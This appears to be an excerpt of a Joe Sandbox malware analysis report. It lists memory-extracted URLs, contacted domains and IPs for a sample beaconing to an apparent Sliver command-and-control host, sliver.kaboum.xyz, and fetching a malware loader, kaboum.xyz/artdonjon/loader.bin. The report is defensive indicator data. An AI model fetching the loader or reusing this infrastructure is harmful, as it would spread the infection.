https://sliver.kaboum.xyz/js/array.js?c=8c275l5048	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/javascripts/js/js/script/app.min.js?sliver.kaboum.xyz	0%	Avira URL Cloud	safe
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-L_=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/db/db/oauth/oauth/database/api.php?f=5251i7520Mozilla/5.0	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/jscript/javascript/javascripts/js/script.js?n=6012979	0%	Avira URL Cloud	safe
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Ln=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/javascripts/javascripts/javascripts/array.js?p=4984414P	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/jscript/app.min.js?_=76p52a0964Mozilla/5.0	0%	Avira URL Cloud	safe
https://c=8c275l50481HTTP/1.1HTTP/1.1eUser-AgentAccept-Lc=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/umd/javascripts/script/umd/backbone.js?sliver.kaboum.xyz	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/jscript/javascript/javascripts/js/script.js?n=6012979sliver.kaboum.xyz	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/jscript/umd/backbone.js?m=59p421880	0%	Avira URL Cloud	safe
https://EnableWindows=370905971HTTP/1.1EndDialoEndPaintHTTP/1.1eEndDialogEnumChildWindowsFindWindowW	0%	Avira URL Cloud	safe
https://p=49844141HTTP/1.1HTTP/1.1eUser-AgentAccept-Lp=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/backbone.js?b=70351513	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/umd/script/umd/script/javascripts/backbone.js?a=7711n8412	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyzb	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/umd/script/umd/script/javascripts/backbone.js?sliver.kaboum.xyz	0%	Avira URL Cloud	safe
https://q=13c0910451HTTP/1.1HTTP/1.1eUser-AgentAccept-Lq=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/js/javascript/app.min.js?h=603b2h1231	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/E.	0%	Avira URL Cloud	safe
https://u=7dz97781311HTTP/1.1HTTP/1.1eUser-AgentAccept-Lu=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/jscript/script.js?u=7dz9778131	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/GetSecurityDescriptorLength	0%	Avira URL Cloud	safe
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Lv=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/js/javascripts/backbone.js?i=95271830Mozilla/5.0	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/script/javascripts/script/script/array.js?a=50029735sliver.kaboum.xyz	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/jscript/js/app.min.js?g=62721655C:	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/umd/javascripts/script/umd/backbone.js?	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/backbone.js?_=35188464	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz	0%	Avira URL Cloud	safe
https://a=7711n84121HTTP/1.1HTTP/1.1eUser-AgentAccept-La=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/javascript/javascript/javascripts/js/script.js?o=y8t4764415	0%	Avira URL Cloud	safe
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Lj=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/javascripts/js/js/script/app.min.js?q=8_04158u45	0%	Avira URL Cloud	safe
https://i=9g69243101HTTP/1.1HTTP/1.1eUser-AgentAccept-Li=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/js/javascripts/backbone.js?	0%	Avira URL Cloud	safe
https://i=33f2583821HTTP/1.1HTTP/1.1eUser-AgentAccept-Li=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/app.min.js?k=16794834	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/javascripts/javascripts/javascripts/array.js?p=4984414	0%	Avira URL Cloud	safe
https://o=y8t47644151HTTP/1.1HTTP/1.1eUser-AgentAccept-Lo=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/javascript/umd/javascripts/script.js?i=33f258382	0%	Avira URL Cloud	safe
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Lk=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/jscript/app.min.js?_=76p52a0964	0%	Avira URL Cloud	safe
https://a=500297351HTTP/1.1HTTP/1.1eUser-AgentAccept-La=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/umd/script/umd/script/javascripts/backbone.js?	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/javascript/javascript/javascripts/js/script.js?0	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/app.min.js?q=13c091045	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/app.js	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/oauth2/oauth/db/oauth2callback/namespaces/api/api.html?gu=58741670&n=232c3364x9	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyzhttps://sliver.kaboum.xyzhttps://sliver.kaboum.xyz	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascripts/javascript/javascript/javascripts/js/script.js?	0%	Avira URL Cloud	safe
https://kaboum.xyz/artdonjon/loader.bin	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kaboum.xyz	51.158.71.131	true	true		unknown
sliver.kaboum.xyz	51.44.82.197	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://sliver.kaboum.xyz/jscript/js/app.min.js?g=62721655	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascript/script.js?i=9g6924310	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascript/app.min.js?v=7759922	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/script.js?f=720f81321	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/js/array.js?c=8c275l5048	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/jscript/javascript/javascripts/js/script.js?n=6012979	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/jscript/umd/backbone.js?m=59p421880	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/umd/script/umd/script/javascripts/backbone.js?a=7711n8412	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/backbone.js?b=70351513	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/js/javascript/app.min.js?h=603b2h1231	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/jscript/script.js?u=7dz9778131	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/backbone.js?_=35188464	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/javascript/javascript/javascripts/js/script.js?o=y8t4764415	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/javascripts/js/js/script/app.min.js?q=8_04158u45	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/app.min.js?k=16794834	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascript/javascripts/javascripts/javascripts/array.js?p=4984414	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascript/jscript/app.min.js?_=76p52a0964	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascript/javascript/umd/javascripts/script.js?i=33f258382	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/app.min.js?q=13c091045	true	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/oauth2/oauth/db/oauth2callback/namespaces/api/api.html?gu=58741670&n=232c3364x9	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000005.00000002.2988827931.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2008226778.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://m=59p4218801HTTP/1.1HTTP/1.1eUser-AgentAccept-Lm=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3007274226.000000C00049E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?	WOlxr4yjgF.exe, 00000000.00000003.2001243488.000001FF1ACB4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2991308738.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2011142176.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://f=720f813211HTTP/1.1HTTP/1.1eUser-AgentAccept-Lf=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3002020019.000000C0002B4000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://excel.office.com	explorer.exe, 00000005.00000002.2994680970.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2015119531.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyz/javascripts/javascripts/js/js/script/app.min.js?sliver.kaboum.xyz	explorer.exe, 00000005.00000002.3002020019.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyz/javascript/javascript/umd/javascripts/script.js?	explorer.exe, 00000005.00000002.3002020019.000000C0000B8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-L_=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3002020019.000000C0002FB000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	explorer.exe, 00000005.00000000.2008226778.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyz/javascript/javascripts/javascripts/javascripts/array.js?p=4984414P	explorer.exe, 00000005.00000002.3002020019.000000C000055000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000005.00000002.2994680970.000000000C893000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2015119531.000000000C893000.00000004.00000001.00020000.00000000.sdmp	false		high
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Ln=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3002020019.000000C000196000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascript/umd/javascripts/script/umd/backbone.js?sliver.kaboum.xyz	explorer.exe, 00000005.00000002.3002020019.000000C0000B8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyz/db/db/oauth/oauth/database/api.php?f=5251i7520Mozilla/5.0	explorer.exe, 00000005.00000002.3002020019.000000C000282000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wns.windows.com/L	explorer.exe, 00000005.00000002.2994680970.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2015119531.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false		high
https://word.office.com	explorer.exe, 00000005.00000002.2994680970.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2015119531.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://c=8c275l50481HTTP/1.1HTTP/1.1eUser-AgentAccept-Lc=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3002020019.000000C0002FB000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://EnableWindows=370905971HTTP/1.1EndDialoEndPaintHTTP/1.1eEndDialogEnumChildWindowsFindWindowW	explorer.exe, 00000005.00000002.3002020019.000000C0001A6000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000005.00000000.2008226778.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyz/javascript/jscript/app.min.js?_=76p52a0964Mozilla/5.0	explorer.exe, 00000005.00000002.3002020019.000000C000282000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/jscript/javascript/javascripts/js/script.js?n=6012979sliver.kaboum.xyz	explorer.exe, 00000005.00000002.3002020019.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://p=49844141HTTP/1.1HTTP/1.1eUser-AgentAccept-Lp=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3002020019.000000C0002B4000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyzb	explorer.exe, 00000005.00000002.3002020019.000000C00012A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyz/umd/script/umd/script/javascripts/backbone.js?sliver.kaboum.xyz	explorer.exe, 00000005.00000002.3002020019.000000C0000B8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://android.notify.windows.com/iOS	explorer.exe, 00000005.00000000.2015119531.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2994680970.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://q=13c0910451HTTP/1.1HTTP/1.1eUser-AgentAccept-Lq=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3007274226.000000C00049E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/E.	explorer.exe, 00000005.00000002.3002020019.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	explorer.exe, 00000005.00000000.2008226778.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://u=7dz97781311HTTP/1.1HTTP/1.1eUser-AgentAccept-Lu=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3002020019.000000C0002FB000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.com_	explorer.exe, 00000005.00000002.2994680970.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2015119531.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Lv=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3002020019.000000C000072000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyz/GetSecurityDescriptorLength	explorer.exe, 00000005.00000002.3002020019.000000C000182000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascript/js/javascripts/backbone.js?i=95271830Mozilla/5.0	explorer.exe, 00000005.00000002.3002020019.000000C0002B4000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/script/javascripts/script/script/array.js?a=50029735sliver.kaboum.xyz	explorer.exe, 00000005.00000002.3002020019.000000C0000B8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/jscript/js/app.min.js?g=62721655C:	explorer.exe, 00000005.00000002.3002020019.000000C0001C8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascript/umd/javascripts/script/umd/backbone.js?	explorer.exe, 00000005.00000002.3002020019.000000C0000B8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000005.00000002.2988827931.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://powerpoint.office.comcember	explorer.exe, 00000005.00000002.2994680970.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2015119531.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyz	explorer.exe, 00000005.00000002.3002020019.000000C0001A6000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://a=7711n84121HTTP/1.1HTTP/1.1eUser-AgentAccept-La=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3007274226.000000C00049E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Lj=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3007274226.000000C00049E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micro	explorer.exe, 00000005.00000002.2990016814.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.2992460728.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.2990532277.0000000008720000.00000002.00000001.00040000.00000000.sdmp	false		high
https://i=9g69243101HTTP/1.1HTTP/1.1eUser-AgentAccept-Li=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3002020019.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascript/js/javascripts/backbone.js?	explorer.exe, 00000005.00000002.3002020019.000000C00030C000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i=33f2583821HTTP/1.1HTTP/1.1eUser-AgentAccept-Li=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3002020019.000000C000072000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyz/	explorer.exe, 00000005.00000002.3007836339.000000C000580000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3002020019.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://a=500297351HTTP/1.1HTTP/1.1eUser-AgentAccept-La=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3002020019.000000C000072000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/umd/script/umd/script/javascripts/backbone.js?	explorer.exe, 00000005.00000002.3002020019.000000C0000B8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/q	WOlxr4yjgF.exe, 00000000.00000003.2001243488.000001FF1ACB4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2991308738.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2011142176.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://o=y8t47644151HTTP/1.1HTTP/1.1eUser-AgentAccept-Lo=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3002020019.000000C0002B4000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2008226778.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Lk=Accept-LanguageAccept-Languageen-US	explorer.exe, 00000005.00000002.3007274226.000000C00049E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/javascript/javascript/javascripts/js/script.js?0	explorer.exe, 00000005.00000002.3002020019.000000C000055000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyzhttps://sliver.kaboum.xyzhttps://sliver.kaboum.xyz	explorer.exe, 00000005.00000002.3002020019.000000C0001A6000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kaboum.xyz/artdonjon/loader.bin	WOlxr4yjgF.exe	false	Avira URL Cloud: malware	unknown
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sliver.kaboum.xyz/app.js	explorer.exe, 00000005.00000002.3008055947.000000C00061B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sliver.kaboum.xyz/javascripts/javascript/javascript/javascripts/js/script.js?	explorer.exe, 00000005.00000002.3002020019.000000C000055000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/Vh5j3k	explorer.exe, 00000005.00000002.2988827931.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2008226778.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
51.44.82.197	sliver.kaboum.xyz	United States		2686	ATGS-MMD-ASUS	true
51.158.71.131	kaboum.xyz	France		12876	OnlineSASFR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577180
Start date and time:	2024-12-18 08:45:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 31s
